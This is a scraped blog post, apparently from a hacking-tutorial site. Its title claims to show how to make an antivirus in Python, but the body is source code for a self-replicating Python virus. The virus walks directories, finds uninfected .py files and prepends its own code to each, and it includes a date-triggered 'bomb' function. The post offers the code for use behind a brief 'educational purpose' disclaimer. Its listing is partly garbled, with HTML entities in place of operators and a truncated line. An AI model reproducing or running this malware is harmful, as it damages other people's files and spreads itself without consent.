HACKING ZONE : simple way to make antivirus using Python - BESTAREWA BlOG

Header Ads

HACKING ZONE : simple way to make antivirus using Python

<
Python Virus !! Lets code a simple Virus easily in Python, Python, as you know, is widely used by Hackers to code different scripts to ease their task, Now let us Make a Virus in Python.
This simple Python Script when executed searches for Python files and makes the strings in the file to the following – “EthicalHackx is Watching YOU”.
NOTE: This is just for EDUCATIONAL Purpose and run in Safe Environment ( Virtual Box)
What Do You Think on This ? Say Here a Facebook d Twitter f Google+
J WhatsApp 1
How To Find IP & MAC Addresses on Network How to Use X-XSS-Protection for Evil Run Kali Linux on Windows 10 – Download From Windows Store
Information Gathering : First Step to Hacking Xnspy: The iPhone 7 Spying App Review Loopholes in Aadhaar authentication API services RELATED ARTICLES MORE FROM AUTHOR
Beginner Hacking CROSS SITE SCR... Hacking Tools &...
Beginner Hacking Hacking Software Hacking Tutorials
  1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39 #!/usr/bin/python
import os
import datetime
SIGNATURE = "SIMPLE PYTHON VIRUS"
def search ( path ):
filestoinfect = []
filelist = os. listdir( path )
for fname in filelist :
if os.path . isdir ( path + "/" + fname ):
filestoinfect . extend ( search ( path + "/" + fname))
elif fname [ - 3 :] == ".py" :
infected = False
for line in open ( path + "/" +fname ) :
if SIGNATURE in line :
infected = True
break
if infected == False :
filestoinfect . append ( path +"/" + fname )
return filestoinfect
def infect ( filestoinfect ):
virus = open ( os.path . abspath ( __file__ ))
virusstring = ""
for i ,line in enumerate ( virus ) :
if i & gt ; = 0 and i & lt ; 39 :
virusstring += line
virus . close
for fname in filestoinfect :
f = open ( fname )
temp = f . read ()
f . close ()
f = open ( fname ,"w" )
f . write( virusstring + temp )
f . close ()
def bomb () :
if datetime . datetime . now (). month == 1 and datetime . d
print "EthicalHackx is Watching YOU"
filestoinfect = search ( os.path . abspath ( "" ))
infect ( filestoinfect )
bomb ()

No comments

Theme images by friztin. Powered by Blogger.